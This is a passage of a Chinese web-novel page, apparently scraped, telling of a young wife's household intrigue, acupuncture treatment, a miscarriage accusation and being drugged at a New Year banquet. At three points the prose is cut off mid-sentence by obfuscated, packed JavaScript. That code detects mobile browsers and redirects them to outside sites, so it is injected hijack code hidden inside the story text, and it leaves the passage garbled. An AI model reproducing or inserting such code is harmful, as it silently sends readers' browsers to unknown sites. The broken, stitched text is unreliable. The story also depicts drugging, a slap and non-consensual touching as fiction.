岑景舒几乎瞬间就意识到了钟离灵妙口中的师姐是谁,也想起了钟离灵妙的身份,之所以她觉得耳熟,是因为闻绝柳曾提到过药王谷内有一个话唠小师妹,做梦都在和人说话。 闻绝柳说的小师妹就叫钟离灵妙。 大夫人看了看药方,道:“这些药材并不少见,府上都有,我让人每日煎好了给你送去。” “那就多谢母亲了。”岑景舒笑了笑,心中却在悲叹看来这药是决计躲不掉了。 回到踏雪阁后,春喜和夏意还没回来,她便去书房看了会史书和兵书,准备等春喜回来后替她把药喝掉。 可没过一会儿,书琴就亲自带着人端着药来了。 她碰了碰药碗,还是温热的。 “先放下吧。”岑景舒扬了扬手中的书卷,道:“我稍后喝。” 书琴还未答话,钟离灵妙的脑袋从书琴身后探出,反驳道:“那可不行啊少夫人!” “这药对火候和温度都极为讲究,若是现在不喝,待会药效就没那么好了,届时我还要再重新配方子,更何况你这个病是……” 岑景舒看着她大有说到天黑的架势,也顾不得担心药苦了,立刻起身接过药碗,深吸一口气后屏住呼吸,仰头大口大口地把药喝完了。 随后她拿起药碗旁边的糖块塞进嘴里,这才长舒一口气。 钟离灵妙瞪大眼睛,端起药碗看了又看,有些疑惑道:“少夫人这是做什么?” “这药不是苦的。” 岑景舒笑了笑,将嘴里的糖咬碎,对着书琴道:“你先退下吧。” 书琴本来就是受了大夫人的指示,来确保她把药喝下,闻言行了一礼后,带着一行府医火速撤离了。 钟离灵妙看人都走了,立刻凑到她身边,好奇道:“景舒姐姐,你跟大师姐是怎么认识的啊?大师姐她不是最讨厌洛京里的权贵了吗?” “而且大师姐脾气可暴躁了,平常师门里有谁犯了什么错,都要被她狠狠罚上三天三夜都不重样呢。” “大师姐会的花样可多了,不过也是因为大师姐会的武器比较多,她除了擅长飞针暗器以外,还有刀啊剑啊长枪鞭子啊,她耍的都很厉害。” “大师姐有一条绯红色的软鞭可漂亮了,她平时可宝贝了,碰都不让我们碰一下呢,谁要是挨到了,那一准是被抽了。” “但是大师姐从来不会随便发脾气罚人,我们这些师弟师妹小打小闹她都不放在眼里的,只有触犯了门规她才会出手惩戒呢。” “景舒姐姐我跟你说,药王谷门规可多了呢,小到夜里不许游行,大到不准杀人放火,只要你能想到的规定,一定可以在药王谷门规里出现。” 岑景舒静静地听着钟离灵妙自顾自从头说到了尾,愣是没找到插话的时机,钟离灵妙的嘴好似被施了法,永远不会停歇一样。 她勾了勾唇,并不厌烦这种感觉,钟离灵妙虽然话多了些,但是说的内容都很新鲜有趣,加之钟离灵妙的嗓音很是清悦,使得人心情好上不少。 “景舒姐姐,你知道吗,大师姐好像心有所属了!!” 岑景舒一愣,她不过出神片刻,没太注意钟离灵妙在说什么,怎么就说到了闻绝柳有心上人了? “是吗?是谁啊?”她发自内心疑惑问道,也终于在这场谈话中说出了第一句话。 果然,闻绝柳所言非虚。 她甚至有些怀疑,这丫头自己跟自己也能聊一天,话都不带重复的。 “具体是谁我还不知道,但可以肯定的是,大师姐绝对有心上人了!”钟离灵妙装模作样的左右张望了一下,接着低声道:“因为大师姐最近很少回药王谷了。” “并且,回到药王谷后也不会跟师父吵架了!” “我师父他老人家可抠门了,武功秘籍灵丹妙药不要钱一样撒给师兄师姐们,但是除此之外,别想从师父那里顺走一样东西。” “上次大师姐在师父那里练功不过口渴,就用了师父的茶叶沏茶,没想到师父看到了当即就跟大师姐吵起来了,最后大师姐气急,半夜偷偷把师父养的花全浇死了。” “师父他老人家伤心了好久,至今还不知道罪魁祸首其实就是大师姐。” “大师姐她还……” 岑景舒正听得津津有味,屋外传来“笃笃笃”的敲门声,钟离灵妙闭上嘴,眼神也挪到了门口那里。 “主子,事情都办妥了,钟离小姐在里面吗?该到针灸的时辰了,奴婢去大夫人院子寻钟离小姐,书琴姐姐说钟离小姐在您这里。” “钟离小姐在这里,春喜你去休息吧,最近辛苦了,给你也放三日假。” 屋外春喜的声音里染上雀跃,道:“感谢主子!奴婢告退。” 钟离灵妙一拍脑袋,一边从腰间掏出银针包,一边道:“你瞧我,聊得都忘了正事,来把衣服都脱掉,然后趴到榻上就好,我来为景舒姐姐施针!” “好。” 半个时辰后—— 岑景舒浑身是汗粘腻腻的感觉令她十分不适,她扭了扭头,实在没忍住第一次出言打断钟离灵妙的话:“钟离,还要多久?” “我想沐浴。” 钟离灵妙往她身上看了一眼,回道:“还要一刻钟,拔了针后要过三刻钟才可以沐浴。” “说到沐浴,大师姐她有次……” 岑景舒尽量忽视肌肤上不断冒出的汗珠,将注意力投入到钟离灵妙说的话中,奇妙的是她真的被吸引了全部心神,直到拔完银针还有些意犹未尽。 “景舒姐姐,跟你聊天真开心,但是今日时辰不早啦,明日我还来找你!” “好啊,来人,送送钟离小姐。” “是。”屋外的小丫鬟闻言推开门,低着头跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483862|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了钟离灵妙身后。 送走钟离灵妙后,她一动不动趴在榻上,在心里默算着时间,三刻钟一到便迅速翻身下榻,来不及穿寝衣,直接前去沐浴了。 她浑身浸在温热的水中,身上的粘腻和不适顿时消失得一干二净,连同白日里的疲惫也一并冲刷带走了。 不知是不是药效的缘故,困意逐渐席卷而来,她强撑着眼皮保持着清醒,又泡了片刻后,这才擦拭干净穿上寝衣躺到榻上。 埋进柔软温暖的被褥之中后,几乎瞬间她意识便不太清晰了,很快就陷入一片混沌内。 ** “呵,小没良心的。” 岑景舒迷迷糊糊感觉到脸颊被大力揉捏了一下,鼻尖嗅到极淡的沉香后,她意识到是谢无咎来了,当下便想睁开眼睛。 可是无论她如何用力都是徒劳。 但是她现在能清楚地听到谢无咎急促的呼吸声,和震耳欲聋的心跳声。 这人... “白日里让小丫鬟戴着玉佩去我府前晃悠,不过才过了几个时辰,卿卿就忘了我,睡得如此香甜,嗯?” 她心中一直惦记着北巫三皇子羽森卓光的事情,又怎会忘记这回事,奈何谢无咎来的太晚,药效又实在太强,这才沉沉睡了去。 下一瞬,她感觉到一双手在她身上胡乱摸索着,一会儿揉捏她脸颊上的软肉,一会儿又滑到锁骨之上,不断来回摩挲着。 岑景舒下意识蹙眉,身体本能地扭头几下,被一只大手紧紧按住,脖颈处被冰凉柔软的唇贴上,随后传来轻微的刺痛。 “卿卿唤我来,却又早早睡下,如此戏耍我,实在该罚。” 岑景舒有些着急,她也知道谢无咎最近很忙,下次再找他也不知他得不得空,并且事关国之根本,更是容不得半点马虎。 耳垂处似是被一个尖锐的细针戳了一下,细密的痛感刺激下,她总算挣开了桎梏,眼前重见光明。 “谢...无咎。”她撑着软绵绵的身子坐起来,靠在软枕之上拽住谢无咎的胳膊。 “卿卿你醒了,是我弄疼你了吗?”谢无咎抹了抹她的眼角,将她揽在怀中,低声问道。 岑景舒摇了摇头,看着谢无咎的双眼,话到嘴边却又不知从何说起。 直接问吗? 可若是那样,不就等于承认了她趁他忙得脚不沾地之时,跑去他的地盘寻欢作乐,还花重金买走了一个男宠。 依照谢无咎的性子,会把她拆开吃掉吧。 她抿了抿唇,试探性道:“谢大人。” 谢无咎挑眉,揽着她的手更加用力了些:“卿卿这语气,是做了亏心事还是有求于我?” “……” 一下子就被猜中心思的岑景舒沉默片刻,而后应道:“都不是。” 随后她果断把事情都推到了闻绝柳身上:“是我早年的一个朋友,在南天楼买了个人带在身边养着,我查了查那男子的身份,发现他和北巫有关,所以想着问问你。” 她瞥了要笑不笑的谢无咎一眼,补充道:“她留下的名字是小白。” “卿卿。” “你这个朋友,真的不是你自己吗?” 岑景舒坚定摇头:“不是,她本名是闻绝柳,你若不信大可去查。” 好在她留了后手,早年闻绝柳就顶着“小白”这个名字招摇过市,若是谢无咎真的去查,也不至于露馅。 “我怎么会不信卿卿呢。” 谢无咎的手环住上她的脖颈,玩闹似的微微收紧,嘴唇贴到她的耳边,轻声道:“可是卿卿,那日我亲眼看到你点了六个男人伺候呢。” “卿卿,你觉得,我会认错人吗?” 岑景舒扯了扯嘴唇,干笑两声:“还真是凑巧啊,谢大人。” “这都让您瞧见了。” “是啊,卿卿,你说该怎么办呢?” 话说到此她哪里还不明白,谢无咎分明什么都知道,不管是她去南天楼潇洒,亦或是羽森卓光的真实身份,他都清楚。 不然她方才说那男人跟北巫有关系时,他便不会是那个反应了。 她眨了眨眼,选择装傻跳过这个问题,转而问道:“大人既然都知道,那大人还让我把他买走,不会破坏了你的计划吗?” “不会。” 得到了肯定的答复后,她却依旧放不下心,继续追问道:“大人,你的计划,不会牵扯到整个大盛吧?” 直白来讲就是,你不会通敌叛国吧? 谢无咎自然听得懂她话中的含义,轻笑几声,松开环着她脖颈的手,屈指敲了敲她的脑袋,道:“我在卿卿眼里便是这般十恶不赦的人吗?” “大差不差吧。”岑景舒放下心,困意又重新袭来,靠在他的怀里随口敷衍着。 这人虽然行事乖张不按常理出牌,但从来不屑撒谎,他的计划定然跟党派相争有关,这就不是她该担心的了。 她半阖着眼,想了想还是解释道:“人我是买来想当侍卫的,你不要多想。” “人已经被我派人控制在别院了,南街街头的料子铺后面有条小巷,走到尽头有处院子,就在那里。” 她越说声音越含糊,话落后打了个哈欠,再也撑不住,在他的怀抱中陷入了深睡,什么也不知道了。 ** 岑景舒揉了揉发胀的脑袋,好半晌才彻底回神,昨夜的记忆像是笼罩了一层纱,好多细节都记不太清楚了。 她起身走到铜镜前,将寝衣褪下,白皙的皮肤裸露在外,身上的痕迹也一览无余。 除了脖颈处的加深了一些,别的都在慢慢消散,并无异样。 她随意选了一件衣服穿好,坐在铜镜前准备挽发时,却突然发现耳垂之上竟然多出了一个耳环。 和谢无咎的那个一模一样。 20. 第二十章 漆黑的耳环上闪着光泽,她伸手用指尖碰了一下,触感冰凉光滑坚硬,像是玉石材质,可这等品质的黑玉,目前流传在大盛内的,并没有相符合的。 也正因如此,谢无咎的耳环便成了他身份的象征。 同样,没有任何人敢佩戴相同色系的耳环。 岑景舒将耳环取下,这东西可比王家大小姐的针法好认多了,戴出去简直昭告天下当今正三品中书令谢家家主跟她有染,她又不是傻的。 她将耳环拿在手中仔细端详,这才看到这枚耳环跟谢无咎的并不是完全一样的,它的表面刻有一个极小的“溪”字,因为藏在小巧的耳环里侧,一时没被察觉。 抛开别的不提,这耳环简约却又不失贵气,是她喜欢的饰品类型,谢无咎那家伙眼光极好,倒是可惜了这么漂亮的耳环,注定只能出现在踏雪阁内了。 “少夫人,长公子身边的霜一求见,需要奴婢侍奉您洗漱吗?” 她的思绪被屋外响起的小丫鬟的声音唤回,将耳环单独放在一个匣子中收好后,应道:“不必了,让他进来。” “是,少夫人。” 岑景舒站起身简单洗漱好后,便去挑选今日穿的衣服,而霜一照旧停在了外间,扬声禀告着来意。 “少夫人见谅,我家主子原本打算来拜访您,但是奈何身子没好利索,行动不便,只好劳烦您过去一趟。” “主子说,想询问关于月夫人的事。” 岑景舒手指停在一件雾蓝色衣衫上,而后将它取下,缓缓褪下身上的寝衣:“知道了,我稍后便去,你先退下吧。” “是,少夫人。” 外间脚步声远去,她也换好了衣衫,坐到铜镜前整理发髻,抬手将“桃夭”和“灼华”插进发间,举手投足间尽像是只慵懒矜贵的猫。 虽然霜一没有明说,但崔怀松想问的定然是霜月小产一事。 她看着铜镜,美人如画。 蓦然,她勾唇嗤笑一声。 美又有何用。 她眼前浮现夏意查到的厚厚一沓的证据,一时不知是该先要可怜谁。 崔怀松、霜月,还有她自己,不过都是在这人吃人的世态下苦苦挣扎的棋子罢了。 她闭了闭眼,将所有情绪压下,再次睁眼时,眼底一派平和,又变成了那个端庄优雅的少夫人。 崔怀松房间内的药味淡了些,紧闭的门窗显得有些压抑,加上他是不是猛咳一阵,总给人一种不太美妙的感觉。 “景舒,我听说阿月她...” 明明他的伤势好了不少,但脸色看起来更憔悴了,眼下的乌青在苍白的脸上尤为明显。 崔怀松垂下眼帘,喃喃道:“怎么会这样?阿月她究竟做错了什么?老天要这样针对她。” “长公子,月夫人小产原因还在调查中,我已经安排了人过去,这个孩子,我一定会查清楚是意外还是人为。” 她嘴上如此说着,但心里没太当回事,毕竟霜月的身子是如何也不会怀上孩子的,任凭再怎么调查,也只会是意外流产。 “景舒,多谢。” 岑景舒看了看他,淡声道:“长公子还是好生修养吧,还有旁的事情吗?” “是...有。”他抿了抿唇,有些难为情,带着些恳求的意味,接着道:“母亲好像没有接阿月回来的意思,你能否帮我向母亲说几句好话,让母亲把阿月接回来养身子?” “外面一群拜高踩低的狗奴才,我担心阿月在那里会养不好身子落下病根。” “这是之前旁支送来的医书,说是前朝孤本,我不太懂这些,拿去给了府医看,府医说确实是孤本,上面记载了很多疑难杂症。” 他单手撑榻,费力地起身,拿过桌案上放着的书卷,视线落到她身上时,一双眼睛显得专注而又温柔:“你先前给我要了极北雪莲。” “我想你对医书应该会感兴趣,作为谢礼赠予你。” 岑景舒没有接,后退两步站定:“长公子,母亲的性子你我都清楚,我没有把握一定能让母亲应允把月夫人接回来。” “这医书,还是长公子留着闲暇时看吧。” 崔怀松一只手将医书递到她眼前,另一只手五指握拳抵住唇,偏头轻咳几声,而后回过头,改为双手拿着医书:“景舒。” “我没有想你必须办成此事,你肯为阿月说话,我就已经很感谢你了,请你务必收下。” 岑景舒闻言点了点头,这才接过医书,不得不承认他这次是费了心的,只可惜没有用到她身上,倒是便宜了闻绝柳那个丫头了。 这本书,闻绝柳可是一直都很想要呢。 她勾了勾唇,道:“正巧我稍后要去向母亲请安,如此那我便尽力一试。” “长公子还有事吗?” “嗯。”崔怀松苍白着脸小幅度点了下头。 他拿出一个手镯,轻声道:“这手镯是前些年玉品斋的绝品,只此一件,你的生辰快要到了吧,借着这个机会把生辰礼送你。” 玉品斋是洛京最大的玉石商铺,分号开满了整个大盛的各个角落,隶属柳家。 既然是玉品斋的绝品,那定然是上上成的物件。 岑景舒毫不犹豫接过,有白送的好东西不要才是傻子。 当着送礼人的面,她没有太过仔细看礼物的品相,只粗粗看了一眼就戴到了手上,和她原本的手镯相撞,发出一声清脆的响声。 “多谢长公子,礼物我收下了,那我便先去向母亲请安了。” “送送少夫人。”他松了口气,偏头对低着头不敢乱看的霜一道。 岑景舒打断霜一准备要过来的动作,摆了摆手道:“不必了,你好生伺候你家主子便是。” 随后她转身便走。 不多时,她便来到大夫人的院子,守在外面的小丫鬟行了礼,甜甜一笑恭敬道:“见过少夫人,大夫人有令,日后凡事少夫人来,无需通禀,直接进去便可。” 岑景舒微笑着点了点头,丫鬟为她推开门,隐约的呜咽声从里面传来。 里面有人在哭? 她神色不变,脚下步子微顿,很快恢复如常,她以往都是这个时辰来请安,那么大夫人在这个时间处理的事情,必然也不是什么不能见人的。 越往里走哭声越清晰,声线还十分耳熟。 岑景舒脑海中一时闪过无数张脸,最后锁定在了小青跪在地上哭泣的画面上。 是她。 “尽溪来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517701|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”大夫人放下茶杯,冲她招了招手:“你来的正好。” 岑景舒笑了笑,先是行了礼,后道:“母亲,是有什么事吗?” 大夫人眼神看向跪在正中央的人,语调没什么温度道:“这小丫头说月丫头的孩子是被人毒死的。” “你怎么看呢?” 岑景舒有些讶然,目光转向浑身颤抖不止的小青,温声询问道:“你这么说,想来是有猜想和证据了?” “是何人竟然胆大包天,敢谋害夫君的长子?” 小青抬起头,满脸泪痕,通红眼眶中的泪水止不住打转,眼底满是怨恨,用手指着她厉声道:“你在这里装什么好人?!” “少夫人,你空长了一张菩萨面相,内心却是如此狠毒!月夫人她都被赶去了外宅,你居然还是不肯放过她跟她的孩子!” “你为什么要害死未出世的小公子!你这个恶毒的女人!你不得好死!!” 岑景舒蹙眉,眼尾下压,不悦道:“小青,凡事要有证据,你空口白牙诬陷主子,可是要受到处罚的。” 她回过头看了大夫人一眼,大夫人端坐在主位,面上看不出什么情绪,没有开口的意思。 小青酿跄着爬起来,从袖口中掏出一支金簪,拿在手中高高举起:“少夫人,这支簪子,想必您十分熟悉吧。” “这上面,被府医检测出了大量麝香。而这支簪子,是我家主子入府之时,少夫人亲手所赠!” 她的语气变得激动起来,声音拔高:“你从一开始就没想过要让我家主子有孕!” “这,便是证据!” 岑景舒定定地看着小青,她实在难以将眼前这个慷慷激昂满脸怨恨的人,和前不久浑身脏乱不堪缩在角落里的身影联系起来。 一个人,怎么会在短短时间内,性格发生天翻地覆的变化?甚至是走向了两个极端。 小青脸意图对其不轨的小厮都不敢反抗,却敢大声怒斥指责崔府的主子? 她沉吟片刻后,坦然道:“这金簪确实是我所赠。” “那又如何呢?又能代表什么呢?” “你!!!”小青满脸不可置信,胸脯剧烈起伏,随后两眼一翻晕了过去。 ** 岑景舒回到踏雪阁,先是沐浴去了去晦气,随后就去了书房看书。 儒学著作大多晦涩难懂,她却看得津津有味,很快便沉浸在其中。 不知过了多久,她被屋外的吵闹声唤回神,刚想喊夏意去看看外面是怎么回事,下一瞬便意识到夏意还在休息。 她站起身,三两步走到书房门口,门却被大力推开,幸好她反应够快,后退了半步这才没被门打到。 紧接着,她耳边嗡鸣一声,被突如其来的一耳光打得身子一歪,右脸颊火辣辣的疼,很快便有些肿了。 “岑尽溪!亏我还拜托你照看阿月的孩子,你就是这么照看的?!你这个恶毒的女人!我看错了你!!” “你想要的我都满足你,为什么还要害我跟阿月的孩子?!” “你就这么容不下她们吗?” 岑景舒咬了咬牙,无视崔怀松的质问,强压下怒火,站直身体,蓄足了力猛然扇了回去。 “清醒了吗?” 21. 第二十一章 不待他回话,她又是一掌打在了他另一边脸上,这一巴掌卯足了力气,比刚才那一掌还要重,直接把他扇得踉跄几步,退到了门框那里。 “你有证据吗?母亲发话了吗?” 岑景舒感觉右脸已经有些发热发涨,眼神更加冷冽,一字一句道:“什么都没有,单凭别人几句话,就定了我的罪,跑来踏雪阁撒野。” “长公子,好大的威风。” “但是,踏雪阁从来不是让你逞威风的地方,下次欢迎你带着脑子来做客。” 说罢,她推开愣住的崔怀松,将他推到门外,果断地关上了书房的门,从里面上锁,随后坐回到了书案前。 “嘶...” 她试探性用指尖碰了碰右脸,疼得她眼泪都快要掉下来了,两相对比之下,就连掌心的痛感都变得微乎其微了。 这混蛋,这么虚的身体,下手可真够黑的。 她从专门放话本的书架上随手取了一本,借用来排解心中的怒火。 这还是她幼时从王小将军那里学来的招数,每当不开心的时候,或者有烦心事时,不要一味的去反复想,不如找些快乐的事做。 “姐姐,我推荐你看话本!这样脑子里想的都是话本里的精彩情节,就不会那么烦心了!” 她还记得当时他说这话时的情景,小小将军的脸还有些婴儿肥,浓密的眼睫扑闪扑闪的,煞是灵动可爱。 半刻钟后。 “砰砰砰——” 巨大的敲门声夹杂着小丫鬟带着哭腔的劝阻声,穿过木制门传来。 “长公子,您还是走吧,长公子!” “长公子,奴婢求您了。” “开门!岑尽溪,你不是要证据吗?那金簪上的麝香你怎么解释?” “你若说不出个一二三来,我就休了你!” 岑景舒一把将话本摔在书案上,站起身快步走到门口,带起的风掠动裙摆,耳坠上的珠玉碰撞发出轻响,她猛然将房门拉开。 屋外的人猝不及防向内倒去,她早有准备侧身避让,随着一声闷响,崔怀松结结实实磕在了冰凉的地砖之上。 她的右脸还在隐隐作痛,不知是不是肿了,说话都不似往常清晰了:“崔怀松,我劝你还是先好好养养身子。” “还有,同你成亲并非我的意愿,你的看法在我这里,对于我来说。” 岑景舒顿了顿,自上而下睥睨着他,说出的话漫不经心却字字有力。 “一、文、不、值。” 霜一单膝跪下连忙把崔怀松扶起,眼看他摔得有些发懵了,趁着这个时机,他赔着笑半推半哄着让人带走了。 临走前还不忘回头对她绽放出带着讨好意味的抱歉一笑。 岑景舒再次坐到书案前,手心和脸颊的痛感再次袭来,她这才惊觉为何一直觉得少了点什么。 她轻轻拍了拍脑袋,无奈一笑,在一旁柜子上的瓶瓶罐罐中挑挑拣拣,花花绿绿大小不一的玉瓶看得她眼花缭乱。 以往她身上有一点细小的伤口都能被眼尖的春喜捕捉到,立刻如临大敌般给她上药。 春喜一时不在身边还真有些不太习惯。 “主子!主子!您没事吧!” 岑景舒怔了怔,偏头向门口看去,手指悬在半空中,还保持着挑拣药瓶的姿势。 只见春喜着急忙慌地飞奔跑来,眼底还含着明晃晃的泪珠,夏意冷着脸嘴唇绷直紧跟其后,显然她们的情绪都不太稳定。 她收回手,眼神软了些许:“你们两个不好好休息,跑来这里做什么?” 春喜抹了把眼泪,只看了一眼,便熟练地从那一堆玉瓶中精准拿出一瓶打开,小心翼翼地抹了些药膏在指尖。 “主子,奴婢不累,奴婢想一直陪着您。” 岑景舒弯了弯唇,伸手抹去春喜眼尾的泪花,柔声细语哄道:“哭什么,不过是被狗咬了一口罢了。” 她又抬手晃了晃红艳的掌心:“喏,你家主子何时吃过亏?” “我可是还回去了两巴掌。” 夏意眼神暗了暗,半晌才硬邦邦道:“若是奴婢在,不会让任何人伤到您半分。” “奴婢不需要休息,愿意守在主子身边。” “好好好。”岑景舒轻声应着,眉宇间尽是笑意。 ** 大夫人做事向来雷厉风行,之后不过半日时间一切就都水落石出了。 经府医查证,那金簪上的麝香是在半月内涂抹上去的,而霜月进府已经一月有余,簪子自送出便一直在霜月手上,自然不可能是她下的药。 是宅子上的粗使婆子动了歪心思,见不得富贵人家过得如此逍遥快活,找到了机会下了黑手,现在已经被处理干净了。 为了安抚霜月,加之临近年关,大夫人还是把霜月接了回来,珍稀补品流水似的送到了霜月那里。 岑景舒皱着眉听着春喜在耳边絮絮叨叨说着这几日发生的事情,手下动作不停,眼睛也从未从书案之上挪开。 “嗯,我都知道了,你和夏意把这些请帖让人分别送给王家大小姐、三小姐;柳家的二小姐和四小姐,还有这些......” 她把请帖铺开,逐个说明。 “每封请帖上的内容都不一样,务必要记清楚,不可送错。” 岑景舒面色凝重,方才春喜说的那些她都知道,只不过无心去管,也懒得分出精力去操心崔怀松和霜月的事。 霜月想上位是人之常情,可那些手段实在是太过幼稚,勾住崔怀松的心倒是绰绰有余,她根本不想理睬,只要不做出伤害她身边之人的事情,怎么都行。 现如今距离年关只有十日,大夫人发了话,今年过节的一切事宜都交由她来全权操办。 眼下的重中之重便是年节的准备,祭祖祈福、装扮打点阖府上下、和各家夫人小姐间的人情往来、下人们的赏银纷发…… 各种事情将她的时间完全塞满,挤不出一丝闲暇时刻,连前些日子崔怀松想要给她登门道歉都没时间见,让夏意打发走了,自然没功夫关注霜月如何。 她忙完请帖的事情,舒展了一下胳膊,骨头发出咔吧咔吧的响声,随后她偏了偏头,缓解着酸痛的脖颈。 却无意间透过窗杦看到一个修理花枝的丫鬟,上方悬挂着一个摇摇欲坠的灯烛,眼瞧着那灯烛就要砸落,幸好丫鬟身侧的小丫鬟恰巧转身看见了,猛然拉了她一把。 岑景舒松了口气,快步走出书房,来到劫后重生的两个小丫头跟前:“以后多加小心,去找崔总管,让他换一批灯烛,动作快些,一日之内务必全部更换完毕。” “是,少夫人。” 两个小丫鬟悄悄对视一眼,忙不迭小跑着去寻崔总管了。 夏意刚准备将灯烛处理掉,一个略微发福留着长长胡须的男人带着一群小厮快步走来,隔了八九步远便道:“哎哟,哪能劳烦夏意姑娘干这些。” 他偏头随手指了几个人:“你,你,还有你。” “去把灯烛处理干净。” 随后他望向岑景舒,行了礼后弯腰笑道:“少夫人,小的这里还预备了三种烛灯,您看看选哪一种合适?” 说罢,他身后有三人提着烛灯走了出来。 岑景舒看了看,冲着中间的雕花烛灯扬了扬下巴:“这个吧。” “得嘞,你们几个,去把现有的烛灯都拆下来,换上这款雕花烛灯。” 崔管事将所有人都打发走,弯腰拱了拱手:“往年崔府用的都是这个烛灯,不曾想竟出现此等意外,是小的疏忽,还请少夫人责罚。” 岑景舒摇了摇头,道:“近来事务繁多,有些疏漏也是在所难免,还请崔管事多多照看着。” “是是是,少夫人说的是。” 她也没过多为难崔管事,一个时辰便是后宫里柳昭仪举办的赏花宴,照例邀请了后宫的众人和世家官家小姐夫人一同赴宴。 柳昭仪是柳家的庶出三小姐,虽然是庶出,可背靠柳家又是昭仪,很是嚣张跋扈,后宫众人平时都绕着走,生怕一不小心惹了这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529684|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大佛小命不保。 她本也不想去的,可是崔大人和柳家主在朝堂之上走得很近,不好直接驳了柳昭仪的面子。 总归一年到头也只这一次。 从柳昭仪宫中回来后,岑景舒拖着疲累的身子匆匆清洗过后,便跟没骨头一样瘫在榻上,埋进柔软舒适的被褥之中,睡意很快袭来,她阖上双眼,准备陷入梦乡。 “咔哒。” 窗边的声响在寂静的夜里尤为明显,沉香裹挟着风雪毫不客气地侵入室内。 她半睁着眼,含糊道:“谢...无咎。” “我好困,你...改日再来。” 尾调上扬,软糯的的语气像极了困倦的小猫在撒娇。 谢无咎的手抚上小猫的脸,怜爱地摩挲了一阵,低哑的嗓音像是喃喃自语:“我的卿卿,伤害你的人,无论是谁,我都会让他付出代价。” 随后他的视线落在她空空如也的耳垂上,轻笑一声,将一枚丹墨色的耳坠为她戴上,暗红色和墨黑色相互交织,像极了他们初遇时。 谢无咎眼底欲色翻涌,可当他灼热的视线触及小猫眼下的乌青时,急促的的呼吸一滞,他盯着小猫睡梦中依旧疲惫的脸,最终只落下缱倦一吻。 ** 忙碌的日子一闪而过,甚至还没有抓住时间的尾巴,在一场前所未有的隆冬深雪中,迎来了这一年的盛大结尾。 整个崔府上下喜气洋洋,公务繁忙常年不在家中的崔大人此刻坐在主位,笑得一脸祥和,身侧的大夫人亦是罕见的满脸笑意。 因为是守岁家宴,所以也没有那么多讲究,依照辈分围坐在一张餐桌之上,色香味俱全的美食勾着每个人的味蕾,醇香浓郁的果酒只喝上一小口便唇齿留香。 崔大人仰头喝完了一整杯酒,大笑两声:“尽溪啊,做得不错!日后啊,这崔府上下交于你,我跟悠儿便彻底放心了。” 岑景舒站起身,先是举着酒杯遥遥一拜,而后用袖摆掩住将酒饮完,放下酒杯浅笑着应道:“谢父亲夸奖,尽溪还有诸多不足之处,需要向目前多多请教,父亲谬赞了。” “哈哈哈哈,尽溪快坐快坐。” 她依言坐下,只是因着要避开盛满的汤碗,所以身体下意识往右-倾斜了些许,浅粉色的衣衫擦着淡青色的袖摆落下。 一瞬间,属于崔怀鹤身上的清淡的竹香味盖过了酒香,附着在她的袖摆之上。 她不着痕迹动了动身子,冲着身侧的崔怀鹤笑了笑,低声道:“抱歉。” “无碍。” 一个短暂的小插曲本应该就这么轻描淡写被揭过,可她总觉得鼻尖始终萦绕着若有似无的竹香。 并不恼人。 “嫂嫂,我听说这道糕点是你亲手做的,我也想学,改日能教教我吗?” 闻言,众人的目光先是看向说话的崔三小姐,而后又齐齐看向岑景舒。 她勾唇一笑,脸颊上泛起淡淡的红晕,桃花眼中波光流转,看向眼神有些飘忽:“好啊,三妹妹改日有空来踏雪阁便是。” “那就先谢谢嫂嫂了。” 话题围绕着她做的糕点你一言我一语展开,时不时打趣她几句,好不热闹。 岑景舒只感觉到身上越来越热,眼前的景象甚至开始有了重影,她指尖微微颤抖,努力保持着最后一丝清明。 不对劲。 太不对劲了。 她不得已以醉酒想透气为由,匆匆离席,众人见怪不怪,也没说些什么,只是让她早些回来。 霜月见状笑道:“姐姐小心些。” 她来不及回应,踉跄着起身,夏意和春喜一左一右搀扶住她,缓步向外走着。 热…… 她眼前一片迷蒙,神志几乎要被这股浪潮击碎,心脏猛然跳动,浑身燥热难耐,身下也十分难受,她不自觉将步幅变小,隐在衣摆之下的双腿互相摩擦,却也不能舒缓半分。 岑景舒手指蜷起,还残存着的最后一丝理智告诉她,这不是醉酒。 她被下药了。 22. 第二十二章 夏意拧了拧眉,很快意识到不对,从腰间挂饰上抽出一把精巧但锋利的匕首,撩开她的衣袖二话不说在她白嫩的胳膊上利索地划了一道口子。 “嗯...” 岑景舒被痛感刺激到,不禁闷哼出声,但紧接着大脑便不再那么昏沉了,垂眸便看到刺目的鲜血顺着袖摆蜿蜒而下,溅起一片血花。 “主子,感觉怎么样?”春喜瞪大眼睛一眨不眨,食指和拇指攥着手帕小心翼翼擦拭着她伤口边缘,很快整条粉白的帕子被染成梅红。 